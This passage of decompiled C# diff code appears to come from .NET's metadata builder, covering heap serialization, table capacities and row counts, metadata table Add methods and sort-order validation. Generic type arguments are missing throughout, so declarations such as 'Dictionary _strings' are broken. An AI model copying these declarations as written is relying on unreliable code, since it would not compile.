Dictionary _userStrings = new Dictionary(256); + + private readonly HeapBlobBuilder _userStringBuilder = new HeapBlobBuilder(4096); + + private readonly int _userStringHeapStartOffset; + + private readonly Dictionary _strings = new Dictionary(256); + + private readonly int _stringHeapStartOffset; + + private int _stringHeapCapacity = 4096; + + private readonly Dictionary, BlobHandle> _blobs = new Dictionary, BlobHandle>(1024, ByteSequenceComparer.Instance); + + private readonly int _blobHeapStartOffset; + + private int _blobHeapSize; + + private readonly Dictionary _guids = new Dictionary(); + + private readonly HeapBlobBuilder _guidBuilder = new HeapBlobBuilder(16); + + internal SerializedMetadata GetSerializedMetadata(ImmutableArray externalRowCounts, int metadataVersionByteCount, bool isStandaloneDebugMetadata) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + HeapBlobBuilder heapBlobBuilder = new HeapBlobBuilder(_stringHeapCapacity); + ImmutableArray stringMap = SerializeStringHeap(heapBlobBuilder, _strings, _stringHeapStartOffset); + ImmutableArray heapSizes = ImmutableArray.Create(_userStringBuilder.Count, heapBlobBuilder.Count, _blobHeapSize, _guidBuilder.Count); + MetadataSizes sizes = new MetadataSizes(GetRowCounts(), externalRowCounts, heapSizes, metadataVersionByteCount, isStandaloneDebugMetadata); + return new SerializedMetadata(sizes, heapBlobBuilder, stringMap); + } + + internal static void SerializeMetadataHeader(BlobBuilder builder, string metadataVersion, MetadataSizes sizes) + { + int count = builder.Count; + builder.WriteUInt32(1112167234u); + builder.WriteUInt16(1); + builder.WriteUInt16(1); + builder.WriteUInt32(0u); + builder.WriteInt32(sizes.MetadataVersionPaddedLength); + int count2 = builder.Count; + builder.WriteUTF8(metadataVersion); + builder.WriteByte(0); + int count3 = builder.Count; + for (int i = 0; i < sizes.MetadataVersionPaddedLength - (count3 - count2); i++) + { + builder.WriteByte(0); + } + builder.WriteUInt16(0); + builder.WriteUInt16((ushort)(5 + (sizes.IsEncDelta ? 1 : 0) + (sizes.IsStandaloneDebugMetadata ? 1 : 0))); + int offsetFromStartOfMetadata = sizes.MetadataHeaderSize; + if (sizes.IsStandaloneDebugMetadata) + { + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.StandalonePdbStreamSize, "#Pdb", builder); + } + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.MetadataTableStreamSize, sizes.IsCompressed ? "#~" : "#-", builder); + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.GetAlignedHeapSize(HeapIndex.String), "#Strings", builder); + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.GetAlignedHeapSize(HeapIndex.UserString), "#US", builder); + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.GetAlignedHeapSize(HeapIndex.Guid), "#GUID", builder); + SerializeStreamHeader(ref offsetFromStartOfMetadata, sizes.GetAlignedHeapSize(HeapIndex.Blob), "#Blob", builder); + if (sizes.IsEncDelta) + { + SerializeStreamHeader(ref offsetFromStartOfMetadata, 0, "#JTD", builder); + } + int count4 = builder.Count; + } + + private static void SerializeStreamHeader(ref int offsetFromStartOfMetadata, int alignedStreamSize, string streamName, BlobBuilder builder) + { + int metadataStreamHeaderSize = MetadataSizes.GetMetadataStreamHeaderSize(streamName); + builder.WriteInt32(offsetFromStartOfMetadata); + builder.WriteInt32(alignedStreamSize); + foreach (char c in streamName) + { + builder.WriteByte((byte)c); + } + for (uint num = (uint)(8 + streamName.Length); num < metadataStreamHeaderSize; num++) + { + builder.WriteByte(0); + } + offsetFromStartOfMetadata += alignedStreamSize; + } + + public void SetCapacity(TableIndex table, int rowCount) + { + if (rowCount < 0) + { + Throw.ArgumentOutOfRange("rowCount"); + } + switch (table) + { + case TableIndex.TypeRef: + SetTableCapacity(_typeRefTable, rowCount); + break; + case TableIndex.TypeDef: + SetTableCapacity(_typeDefTable, rowCount); + break; + case TableIndex.Field: + SetTableCapacity(_fieldTable, rowCount); + break; + case TableIndex.MethodDef: + SetTableCapacity(_methodDefTable, rowCount); + break; + case TableIndex.Param: + SetTableCapacity(_paramTable, rowCount); + break; + case TableIndex.InterfaceImpl: + SetTableCapacity(_interfaceImplTable, rowCount); + break; + case TableIndex.MemberRef: + SetTableCapacity(_memberRefTable, rowCount); + break; + case TableIndex.Constant: + SetTableCapacity(_constantTable, rowCount); + break; + case TableIndex.CustomAttribute: + SetTableCapacity(_customAttributeTable, rowCount); + break; + case TableIndex.FieldMarshal: + SetTableCapacity(_fieldMarshalTable, rowCount); + break; + case TableIndex.DeclSecurity: + SetTableCapacity(_declSecurityTable, rowCount); + break; + case TableIndex.ClassLayout: + SetTableCapacity(_classLayoutTable, rowCount); + break; + case TableIndex.FieldLayout: + SetTableCapacity(_fieldLayoutTable, rowCount); + break; + case TableIndex.StandAloneSig: + SetTableCapacity(_standAloneSigTable, rowCount); + break; + case TableIndex.EventMap: + SetTableCapacity(_eventMapTable, rowCount); + break; + case TableIndex.Event: + SetTableCapacity(_eventTable, rowCount); + break; + case TableIndex.PropertyMap: + SetTableCapacity(_propertyMapTable, rowCount); + break; + case TableIndex.Property: + SetTableCapacity(_propertyTable, rowCount); + break; + case TableIndex.MethodSemantics: + SetTableCapacity(_methodSemanticsTable, rowCount); + break; + case TableIndex.MethodImpl: + SetTableCapacity(_methodImplTable, rowCount); + break; + case TableIndex.ModuleRef: + SetTableCapacity(_moduleRefTable, rowCount); + break; + case TableIndex.TypeSpec: + SetTableCapacity(_typeSpecTable, rowCount); + break; + case TableIndex.ImplMap: + SetTableCapacity(_implMapTable, rowCount); + break; + case TableIndex.FieldRva: + SetTableCapacity(_fieldRvaTable, rowCount); + break; + case TableIndex.EncLog: + SetTableCapacity(_encLogTable, rowCount); + break; + case TableIndex.EncMap: + SetTableCapacity(_encMapTable, rowCount); + break; + case TableIndex.AssemblyRef: + SetTableCapacity(_assemblyRefTable, rowCount); + break; + case TableIndex.File: + SetTableCapacity(_fileTable, rowCount); + break; + case TableIndex.ExportedType: + SetTableCapacity(_exportedTypeTable, rowCount); + break; + case TableIndex.ManifestResource: + SetTableCapacity(_manifestResourceTable, rowCount); + break; + case TableIndex.NestedClass: + SetTableCapacity(_nestedClassTable, rowCount); + break; + case TableIndex.GenericParam: + SetTableCapacity(_genericParamTable, rowCount); + break; + case TableIndex.MethodSpec: + SetTableCapacity(_methodSpecTable, rowCount); + break; + case TableIndex.GenericParamConstraint: + SetTableCapacity(_genericParamConstraintTable, rowCount); + break; + case TableIndex.Document: + SetTableCapacity(_documentTable, rowCount); + break; + case TableIndex.MethodDebugInformation: + SetTableCapacity(_methodDebugInformationTable, rowCount); + break; + case TableIndex.LocalScope: + SetTableCapacity(_localScopeTable, rowCount); + break; + case TableIndex.LocalVariable: + SetTableCapacity(_localVariableTable, rowCount); + break; + case TableIndex.LocalConstant: + SetTableCapacity(_localConstantTable, rowCount); + break; + case TableIndex.ImportScope: + SetTableCapacity(_importScopeTable, rowCount); + break; + case TableIndex.StateMachineMethod: + SetTableCapacity(_stateMachineMethodTable, rowCount); + break; + case TableIndex.CustomDebugInformation: + SetTableCapacity(_customDebugInformationTable, rowCount); + break; + default: + throw new ArgumentOutOfRangeException("table"); + case TableIndex.Module: + case TableIndex.FieldPtr: + case TableIndex.MethodPtr: + case TableIndex.ParamPtr: + case TableIndex.EventPtr: + case TableIndex.PropertyPtr: + case TableIndex.Assembly: + case TableIndex.AssemblyProcessor: + case TableIndex.AssemblyOS: + case TableIndex.AssemblyRefProcessor: + case TableIndex.AssemblyRefOS: + break; + } + } + + private static void SetTableCapacity(List table, int rowCount) + { + if (rowCount > table.Count) + { + table.Capacity = rowCount; + } + } + + public int GetRowCount(TableIndex table) + { + switch (table) + { + case TableIndex.Assembly: + if (!_assemblyRow.HasValue) + { + return 0; + } + return 1; + case TableIndex.AssemblyRef: + return _assemblyRefTable.Count; + case TableIndex.ClassLayout: + return _classLayoutTable.Count; + case TableIndex.Constant: + return _constantTable.Count; + case TableIndex.CustomAttribute: + return _customAttributeTable.Count; + case TableIndex.DeclSecurity: + return _declSecurityTable.Count; + case TableIndex.EncLog: + return _encLogTable.Count; + case TableIndex.EncMap: + return _encMapTable.Count; + case TableIndex.EventMap: + return _eventMapTable.Count; + case TableIndex.Event: + return _eventTable.Count; + case TableIndex.ExportedType: + return _exportedTypeTable.Count; + case TableIndex.FieldLayout: + return _fieldLayoutTable.Count; + case TableIndex.FieldMarshal: + return _fieldMarshalTable.Count; + case TableIndex.FieldRva: + return _fieldRvaTable.Count; + case TableIndex.Field: + return _fieldTable.Count; + case TableIndex.File: + return _fileTable.Count; + case TableIndex.GenericParamConstraint: + return _genericParamConstraintTable.Count; + case TableIndex.GenericParam: + return _genericParamTable.Count; + case TableIndex.ImplMap: + return _implMapTable.Count; + case TableIndex.InterfaceImpl: + return _interfaceImplTable.Count; + case TableIndex.ManifestResource: + return _manifestResourceTable.Count; + case TableIndex.MemberRef: + return _memberRefTable.Count; + case TableIndex.MethodImpl: + return _methodImplTable.Count; + case TableIndex.MethodSemantics: + return _methodSemanticsTable.Count; + case TableIndex.MethodSpec: + return _methodSpecTable.Count; + case TableIndex.MethodDef: + return _methodDefTable.Count; + case TableIndex.ModuleRef: + return _moduleRefTable.Count; + case TableIndex.Module: + if (!_moduleRow.HasValue) + { + return 0; + } + return 1; + case TableIndex.NestedClass: + return _nestedClassTable.Count; + case TableIndex.Param: + return _paramTable.Count; + case TableIndex.PropertyMap: + return _propertyMapTable.Count; + case TableIndex.Property: + return _propertyTable.Count; + case TableIndex.StandAloneSig: + return _standAloneSigTable.Count; + case TableIndex.TypeDef: + return _typeDefTable.Count; + case TableIndex.TypeRef: + return _typeRefTable.Count; + case TableIndex.TypeSpec: + return _typeSpecTable.Count; + case TableIndex.Document: + return _documentTable.Count; + case TableIndex.MethodDebugInformation: + return _methodDebugInformationTable.Count; + case TableIndex.LocalScope: + return _localScopeTable.Count; + case TableIndex.LocalVariable: + return _localVariableTable.Count; + case TableIndex.LocalConstant: + return _localConstantTable.Count; + case TableIndex.StateMachineMethod: + return _stateMachineMethodTable.Count; + case TableIndex.ImportScope: + return _importScopeTable.Count; + case TableIndex.CustomDebugInformation: + return _customDebugInformationTable.Count; + case TableIndex.FieldPtr: + case TableIndex.MethodPtr: + case TableIndex.ParamPtr: + case TableIndex.EventPtr: + case TableIndex.PropertyPtr: + case TableIndex.AssemblyProcessor: + case TableIndex.AssemblyOS: + case TableIndex.AssemblyRefProcessor: + case TableIndex.AssemblyRefOS: + return 0; + default: + throw new ArgumentOutOfRangeException("table"); + } + } + + public ImmutableArray GetRowCounts() + { + //IL_0361: Unknown result type (might be due to invalid IL or missing references) + Builder val = ImmutableArray.CreateBuilder(MetadataTokens.TableCount); + val.Count = MetadataTokens.TableCount; + val[32] = (_assemblyRow.HasValue ? 1 : 0); + val[35] = _assemblyRefTable.Count; + val[15] = _classLayoutTable.Count; + val[11] = _constantTable.Count; + val[12] = _customAttributeTable.Count; + val[14] = _declSecurityTable.Count; + val[30] = _encLogTable.Count; + val[31] = _encMapTable.Count; + val[18] = _eventMapTable.Count; + val[20] = _eventTable.Count; + val[39] = _exportedTypeTable.Count; + val[16] = _fieldLayoutTable.Count; + val[13] = _fieldMarshalTable.Count; + val[29] = _fieldRvaTable.Count; + val[4] = _fieldTable.Count; + val[38] = _fileTable.Count; + val[44] = _genericParamConstraintTable.Count; + val[42] = _genericParamTable.Count; + val[28] = _implMapTable.Count; + val[9] = _interfaceImplTable.Count; + val[40] = _manifestResourceTable.Count; + val[10] = _memberRefTable.Count; + val[25] = _methodImplTable.Count; + val[24] = _methodSemanticsTable.Count; + val[43] = _methodSpecTable.Count; + val[6] = _methodDefTable.Count; + val[26] = _moduleRefTable.Count; + val[0] = (_moduleRow.HasValue ? 1 : 0); + val[41] = _nestedClassTable.Count; + val[8] = _paramTable.Count; + val[21] = _propertyMapTable.Count; + val[23] = _propertyTable.Count; + val[17] = _standAloneSigTable.Count; + val[2] = _typeDefTable.Count; + val[1] = _typeRefTable.Count; + val[27] = _typeSpecTable.Count; + val[48] = _documentTable.Count; + val[49] = _methodDebugInformationTable.Count; + val[50] = _localScopeTable.Count; + val[51] = _localVariableTable.Count; + val[52] = _localConstantTable.Count; + val[54] = _stateMachineMethodTable.Count; + val[53] = _importScopeTable.Count; + val[55] = _customDebugInformationTable.Count; + return val.MoveToImmutable(); + } + + public ModuleDefinitionHandle AddModule(int generation, StringHandle moduleName, GuidHandle mvid, GuidHandle encId, GuidHandle encBaseId) + { + if ((uint)generation > 65535u) + { + Throw.ArgumentOutOfRange("generation"); + } + if (_moduleRow.HasValue) + { + Throw.InvalidOperation(System.SR.ModuleAlreadyAdded); + } + _moduleRow = new ModuleRow + { + Generation = (ushort)generation, + Name = moduleName, + ModuleVersionId = mvid, + EncId = encId, + EncBaseId = encBaseId + }; + return EntityHandle.ModuleDefinition; + } + + public AssemblyDefinitionHandle AddAssembly(StringHandle name, Version version, StringHandle culture, BlobHandle publicKey, AssemblyFlags flags, AssemblyHashAlgorithm hashAlgorithm) + { + if ((object)version == null) + { + Throw.ArgumentNull("version"); + } + if (_assemblyRow.HasValue) + { + Throw.InvalidOperation(System.SR.AssemblyAlreadyAdded); + } + _assemblyRow = new AssemblyRow + { + Flags = (ushort)flags, + HashAlgorithm = (uint)hashAlgorithm, + Version = version, + AssemblyKey = publicKey, + AssemblyName = name, + AssemblyCulture = culture + }; + return EntityHandle.AssemblyDefinition; + } + + public AssemblyReferenceHandle AddAssemblyReference(StringHandle name, Version version, StringHandle culture, BlobHandle publicKeyOrToken, AssemblyFlags flags, BlobHandle hashValue) + { + if ((object)version == null) + { + Throw.ArgumentNull("version"); + } + _assemblyRefTable.Add(new AssemblyRefTableRow + { + Name = name, + Version = version, + Culture = culture, + PublicKeyToken = publicKeyOrToken, + Flags = (uint)flags, + HashValue = hashValue + }); + return AssemblyReferenceHandle.FromRowId(_assemblyRefTable.Count); + } + + public TypeDefinitionHandle AddTypeDefinition(TypeAttributes attributes, StringHandle @namespace, StringHandle name, EntityHandle baseType, FieldDefinitionHandle fieldList, MethodDefinitionHandle methodList) + { + _typeDefTable.Add(new TypeDefRow + { + Flags = (uint)attributes, + Name = name, + Namespace = @namespace, + Extends = ((!baseType.IsNil) ? CodedIndex.TypeDefOrRefOrSpec(baseType) : 0), + FieldList = fieldList.RowId, + MethodList = methodList.RowId + }); + return TypeDefinitionHandle.FromRowId(_typeDefTable.Count); + } + + public void AddTypeLayout(TypeDefinitionHandle type, ushort packingSize, uint size) + { + _classLayoutTable.Add(new ClassLayoutRow + { + Parent = type.RowId, + PackingSize = packingSize, + ClassSize = size + }); + } + + public InterfaceImplementationHandle AddInterfaceImplementation(TypeDefinitionHandle type, EntityHandle implementedInterface) + { + _interfaceImplTable.Add(new InterfaceImplRow + { + Class = type.RowId, + Interface = CodedIndex.TypeDefOrRefOrSpec(implementedInterface) + }); + return InterfaceImplementationHandle.FromRowId(_interfaceImplTable.Count); + } + + public void AddNestedType(TypeDefinitionHandle type, TypeDefinitionHandle enclosingType) + { + _nestedClassTable.Add(new NestedClassRow + { + NestedClass = type.RowId, + EnclosingClass = enclosingType.RowId + }); + } + + public TypeReferenceHandle AddTypeReference(EntityHandle resolutionScope, StringHandle @namespace, StringHandle name) + { + _typeRefTable.Add(new TypeRefRow + { + ResolutionScope = ((!resolutionScope.IsNil) ? CodedIndex.ResolutionScope(resolutionScope) : 0), + Name = name, + Namespace = @namespace + }); + return TypeReferenceHandle.FromRowId(_typeRefTable.Count); + } + + public TypeSpecificationHandle AddTypeSpecification(BlobHandle signature) + { + _typeSpecTable.Add(new TypeSpecRow + { + Signature = signature + }); + return TypeSpecificationHandle.FromRowId(_typeSpecTable.Count); + } + + public StandaloneSignatureHandle AddStandaloneSignature(BlobHandle signature) + { + _standAloneSigTable.Add(new StandaloneSigRow + { + Signature = signature + }); + return StandaloneSignatureHandle.FromRowId(_standAloneSigTable.Count); + } + + public PropertyDefinitionHandle AddProperty(PropertyAttributes attributes, StringHandle name, BlobHandle signature) + { + _propertyTable.Add(new PropertyRow + { + PropFlags = (ushort)attributes, + Name = name, + Type = signature + }); + return PropertyDefinitionHandle.FromRowId(_propertyTable.Count); + } + + public void AddPropertyMap(TypeDefinitionHandle declaringType, PropertyDefinitionHandle propertyList) + { + _propertyMapTable.Add(new PropertyMapRow + { + Parent = declaringType.RowId, + PropertyList = propertyList.RowId + }); + } + + public EventDefinitionHandle AddEvent(EventAttributes attributes, StringHandle name, EntityHandle type) + { + _eventTable.Add(new EventRow + { + EventFlags = (ushort)attributes, + Name = name, + EventType = CodedIndex.TypeDefOrRefOrSpec(type) + }); + return EventDefinitionHandle.FromRowId(_eventTable.Count); + } + + public void AddEventMap(TypeDefinitionHandle declaringType, EventDefinitionHandle eventList) + { + _eventMapTable.Add(new EventMapRow + { + Parent = declaringType.RowId, + EventList = eventList.RowId + }); + } + + public ConstantHandle AddConstant(EntityHandle parent, object? value) + { + int num = CodedIndex.HasConstant(parent); + _constantTableNeedsSorting |= num < _constantTableLastParent; + _constantTableLastParent = num; + _constantTable.Add(new ConstantRow + { + Type = (byte)MetadataWriterUtilities.GetConstantTypeCode(value), + Parent = num, + Value = GetOrAddConstantBlob(value) + }); + return ConstantHandle.FromRowId(_constantTable.Count); + } + + public void AddMethodSemantics(EntityHandle association, MethodSemanticsAttributes semantics, MethodDefinitionHandle methodDefinition) + { + int num = CodedIndex.HasSemantics(association); + _methodSemanticsTableNeedsSorting |= num < _methodSemanticsTableLastAssociation; + _methodSemanticsTableLastAssociation = num; + _methodSemanticsTable.Add(new MethodSemanticsRow + { + Association = num, + Method = methodDefinition.RowId, + Semantic = (ushort)semantics + }); + } + + public CustomAttributeHandle AddCustomAttribute(EntityHandle parent, EntityHandle constructor, BlobHandle value) + { + int num = CodedIndex.HasCustomAttribute(parent); + _customAttributeTableNeedsSorting |= num < _customAttributeTableLastParent; + _customAttributeTableLastParent = num; + _customAttributeTable.Add(new CustomAttributeRow + { + Parent = num, + Type = CodedIndex.CustomAttributeType(constructor), + Value = value + }); + return CustomAttributeHandle.FromRowId(_customAttributeTable.Count); + } + + public MethodSpecificationHandle AddMethodSpecification(EntityHandle method, BlobHandle instantiation) + { + _methodSpecTable.Add(new MethodSpecRow + { + Method = CodedIndex.MethodDefOrRef(method), + Instantiation = instantiation + }); + return MethodSpecificationHandle.FromRowId(_methodSpecTable.Count); + } + + public ModuleReferenceHandle AddModuleReference(StringHandle moduleName) + { + _moduleRefTable.Add(new ModuleRefRow + { + Name = moduleName + }); + return ModuleReferenceHandle.FromRowId(_moduleRefTable.Count); + } + + public ParameterHandle AddParameter(ParameterAttributes attributes, StringHandle name, int sequenceNumber) + { + if ((uint)sequenceNumber > 65535u) + { + Throw.ArgumentOutOfRange("sequenceNumber"); + } + _paramTable.Add(new ParamRow + { + Flags = (ushort)attributes, + Name = name, + Sequence = (ushort)sequenceNumber + }); + return ParameterHandle.FromRowId(_paramTable.Count); + } + + public GenericParameterHandle AddGenericParameter(EntityHandle parent, GenericParameterAttributes attributes, StringHandle name, int index) + { + if ((uint)index > 65535u) + { + Throw.ArgumentOutOfRange("index"); + } + _genericParamTable.Add(new GenericParamRow + { + Flags = (ushort)attributes, + Name = name, + Number = (ushort)index, + Owner = CodedIndex.TypeOrMethodDef(parent) + }); + return GenericParameterHandle.FromRowId(_genericParamTable.Count); + } + + public GenericParameterConstraintHandle AddGenericParameterConstraint(GenericParameterHandle genericParameter, EntityHandle constraint) + { + _genericParamConstraintTable.Add(new GenericParamConstraintRow + { + Owner = genericParameter.RowId, + Constraint = CodedIndex.TypeDefOrRefOrSpec(constraint) + }); + return GenericParameterConstraintHandle.FromRowId(_genericParamConstraintTable.Count); + } + + public FieldDefinitionHandle AddFieldDefinition(FieldAttributes attributes, StringHandle name, BlobHandle signature) + { + _fieldTable.Add(new FieldDefRow + { + Flags = (ushort)attributes, + Name = name, + Signature = signature + }); + return FieldDefinitionHandle.FromRowId(_fieldTable.Count); + } + + public void AddFieldLayout(FieldDefinitionHandle field, int offset) + { + _fieldLayoutTable.Add(new FieldLayoutRow + { + Field = field.RowId, + Offset = offset + }); + } + + public void AddMarshallingDescriptor(EntityHandle parent, BlobHandle descriptor) + { + int num = CodedIndex.HasFieldMarshal(parent); + _fieldMarshalTableNeedsSorting |= num < _fieldMarshalTableLastParent; + _fieldMarshalTableLastParent = num; + _fieldMarshalTable.Add(new FieldMarshalRow + { + Parent = num, + NativeType = descriptor + }); + } + + public void AddFieldRelativeVirtualAddress(FieldDefinitionHandle field, int offset) + { + if (offset < 0) + { + Throw.ArgumentOutOfRange("offset"); + } + _fieldRvaTable.Add(new FieldRvaRow + { + Field = field.RowId, + Offset = offset + }); + } + + public MethodDefinitionHandle AddMethodDefinition(MethodAttributes attributes, MethodImplAttributes implAttributes, StringHandle name, BlobHandle signature, int bodyOffset, ParameterHandle parameterList) + { + if (bodyOffset < -1) + { + Throw.ArgumentOutOfRange("bodyOffset"); + } + _methodDefTable.Add(new MethodRow + { + Flags = (ushort)attributes, + ImplFlags = (ushort)implAttributes, + Name = name, + Signature = signature, + BodyOffset = bodyOffset, + ParamList = parameterList.RowId + }); + return MethodDefinitionHandle.FromRowId(_methodDefTable.Count); + } + + public void AddMethodImport(MethodDefinitionHandle method, MethodImportAttributes attributes, StringHandle name, ModuleReferenceHandle module) + { + _implMapTable.Add(new ImplMapRow + { + MemberForwarded = CodedIndex.MemberForwarded(method), + ImportName = name, + ImportScope = module.RowId, + MappingFlags = (ushort)attributes + }); + } + + public MethodImplementationHandle AddMethodImplementation(TypeDefinitionHandle type, EntityHandle methodBody, EntityHandle methodDeclaration) + { + _methodImplTable.Add(new MethodImplRow + { + Class = type.RowId, + MethodBody = CodedIndex.MethodDefOrRef(methodBody), + MethodDecl = CodedIndex.MethodDefOrRef(methodDeclaration) + }); + return MethodImplementationHandle.FromRowId(_methodImplTable.Count); + } + + public MemberReferenceHandle AddMemberReference(EntityHandle parent, StringHandle name, BlobHandle signature) + { + _memberRefTable.Add(new MemberRefRow + { + Class = CodedIndex.MemberRefParent(parent), + Name = name, + Signature = signature + }); + return MemberReferenceHandle.FromRowId(_memberRefTable.Count); + } + + public ManifestResourceHandle AddManifestResource(ManifestResourceAttributes attributes, StringHandle name, EntityHandle implementation, uint offset) + { + _manifestResourceTable.Add(new ManifestResourceRow + { + Flags = (uint)attributes, + Name = name, + Implementation = ((!implementation.IsNil) ? CodedIndex.Implementation(implementation) : 0), + Offset = offset + }); + return ManifestResourceHandle.FromRowId(_manifestResourceTable.Count); + } + + public AssemblyFileHandle AddAssemblyFile(StringHandle name, BlobHandle hashValue, bool containsMetadata) + { + _fileTable.Add(new FileTableRow + { + FileName = name, + Flags = ((!containsMetadata) ? 1u : 0u), + HashValue = hashValue + }); + return AssemblyFileHandle.FromRowId(_fileTable.Count); + } + + public ExportedTypeHandle AddExportedType(TypeAttributes attributes, StringHandle @namespace, StringHandle name, EntityHandle implementation, int typeDefinitionId) + { + _exportedTypeTable.Add(new ExportedTypeRow + { + Flags = (uint)attributes, + Implementation = CodedIndex.Implementation(implementation), + TypeNamespace = @namespace, + TypeName = name, + TypeDefId = typeDefinitionId + }); + return ExportedTypeHandle.FromRowId(_exportedTypeTable.Count); + } + + public DeclarativeSecurityAttributeHandle AddDeclarativeSecurityAttribute(EntityHandle parent, DeclarativeSecurityAction action, BlobHandle permissionSet) + { + int num = CodedIndex.HasDeclSecurity(parent); + _declSecurityTableNeedsSorting |= num < _declSecurityTableLastParent; + _declSecurityTableLastParent = num; + _declSecurityTable.Add(new DeclSecurityRow + { + Parent = num, + Action = (ushort)action, + PermissionSet = permissionSet + }); + return DeclarativeSecurityAttributeHandle.FromRowId(_declSecurityTable.Count); + } + + public void AddEncLogEntry(EntityHandle entity, EditAndContinueOperation code) + { + _encLogTable.Add(new EncLogRow + { + Token = entity.Token, + FuncCode = (byte)code + }); + } + + public void AddEncMapEntry(EntityHandle entity) + { + _encMapTable.Add(new EncMapRow + { + Token = entity.Token + }); + } + + public DocumentHandle AddDocument(BlobHandle name, GuidHandle hashAlgorithm, BlobHandle hash, GuidHandle language) + { + _documentTable.Add(new DocumentRow + { + Name = name, + HashAlgorithm = hashAlgorithm, + Hash = hash, + Language = language + }); + return DocumentHandle.FromRowId(_documentTable.Count); + } + + public MethodDebugInformationHandle AddMethodDebugInformation(DocumentHandle document, BlobHandle sequencePoints) + { + _methodDebugInformationTable.Add(new MethodDebugInformationRow + { + Document = document.RowId, + SequencePoints = sequencePoints + }); + return MethodDebugInformationHandle.FromRowId(_methodDebugInformationTable.Count); + } + + public LocalScopeHandle AddLocalScope(MethodDefinitionHandle method, ImportScopeHandle importScope, LocalVariableHandle variableList, LocalConstantHandle constantList, int startOffset, int length) + { + _localScopeTable.Add(new LocalScopeRow + { + Method = method.RowId, + ImportScope = importScope.RowId, + VariableList = variableList.RowId, + ConstantList = constantList.RowId, + StartOffset = startOffset, + Length = length + }); + return LocalScopeHandle.FromRowId(_localScopeTable.Count); + } + + public LocalVariableHandle AddLocalVariable(LocalVariableAttributes attributes, int index, StringHandle name) + { + if ((uint)index > 65535u) + { + Throw.ArgumentOutOfRange("index"); + } + _localVariableTable.Add(new LocalVariableRow + { + Attributes = (ushort)attributes, + Index = (ushort)index, + Name = name + }); + return LocalVariableHandle.FromRowId(_localVariableTable.Count); + } + + public LocalConstantHandle AddLocalConstant(StringHandle name, BlobHandle signature) + { + _localConstantTable.Add(new LocalConstantRow + { + Name = name, + Signature = signature + }); + return LocalConstantHandle.FromRowId(_localConstantTable.Count); + } + + public ImportScopeHandle AddImportScope(ImportScopeHandle parentScope, BlobHandle imports) + { + _importScopeTable.Add(new ImportScopeRow + { + Parent = parentScope.RowId, + Imports = imports + }); + return ImportScopeHandle.FromRowId(_importScopeTable.Count); + } + + public void AddStateMachineMethod(MethodDefinitionHandle moveNextMethod, MethodDefinitionHandle kickoffMethod) + { + _stateMachineMethodTable.Add(new StateMachineMethodRow + { + MoveNextMethod = moveNextMethod.RowId, + KickoffMethod = kickoffMethod.RowId + }); + } + + public CustomDebugInformationHandle AddCustomDebugInformation(EntityHandle parent, GuidHandle kind, BlobHandle value) + { + _customDebugInformationTable.Add(new CustomDebugInformationRow + { + Parent = CodedIndex.HasCustomDebugInformation(parent), + Kind = kind, + Value = value + }); + return CustomDebugInformationHandle.FromRowId(_customDebugInformationTable.Count); + } + + internal void ValidateOrder() + { + ValidateClassLayoutTable(); + ValidateFieldLayoutTable(); + ValidateFieldRvaTable(); + ValidateGenericParamTable(); + ValidateGenericParamConstaintTable(); + ValidateImplMapTable(); + ValidateInterfaceImplTable(); + ValidateMethodImplTable(); + ValidateNestedClassTable(); + ValidateLocalScopeTable(); + ValidateStateMachineMethodTable(); + } + + private void ValidateClassLayoutTable() + { + for (int i = 1; i < _classLayoutTable.Count; i++) + { + if (_classLayoutTable[i - 1].Parent >= _classLayoutTable[i].Parent) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.ClassLayout); + } + } + } + + private void ValidateFieldLayoutTable() + { + for (int i = 1; i < _fieldLayoutTable.Count; i++) + { + if (_fieldLayoutTable[i - 1].Field >= _fieldLayoutTable[i].Field) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.FieldLayout); + } + } + } + + private void ValidateFieldRvaTable() + { + for (int i = 1; i < _fieldRvaTable.Count; i++) + { + if (_fieldRvaTable[i - 1].Field >= _fieldRvaTable[i].Field) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.FieldRva); + } + } + } + + private void ValidateGenericParamTable() + { + if (_genericParamTable.Count == 0) + { + return; + } + GenericParamRow genericParamRow = _genericParamTable[0]; + int num = 1; + while (num < _genericParamTable.Count) + { + GenericParamRow genericParamRow2 = _genericParamTable[num]; + if (genericParamRow2.Owner <= genericParamRow.Owner && (genericParamRow.Owner != genericParamRow2.Owner || genericParamRow2.Number <= genericParamRow.Number)) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.GenericParam); + } + num++; + genericParamRow = genericParamRow2; + } + } + + private void ValidateGenericParamConstaintTable() + { + for (int i = 1; i < _genericParamConstraintTable.Count; i++) + { + if (_genericParamConstraintTable[i - 1].Owner > _genericParamConstraintTable[i].Owner) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.GenericParamConstraint); + } + } + } + + private void ValidateImplMapTable() + { + for (int i = 1; i < _implMapTable.Count; i++) + { + if (_implMapTable[i - 1].MemberForwarded >= _implMapTable[i].MemberForwarded) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.ImplMap); + } + } + } + + private void ValidateInterfaceImplTable() + { + for (int i = 1; i < _interfaceImplTable.Count; i++) + { + if (_interfaceImplTable[i - 1].Class > _interfaceImplTable[i].Class) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.InterfaceImpl); + } + } + } + + private void ValidateMethodImplTable() + { + for (int i = 1; i < _methodImplTable.Count; i++) + { + if (_methodImplTable[i - 1].Class > _methodImplTable[i].Class) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.MethodImpl); + } + } + } + + private void ValidateNestedClassTable() + { + for (int i = 1; i < _nestedClassTable.Count; i++) + { + if (_nestedClassTable[i - 1].NestedClass >= _nestedClassTable[i].NestedClass) + { + Throw.InvalidOperation_TableNotSorted(TableIndex.NestedClass); + } + } + } + + private void ValidateLocalScopeTable() + { + if 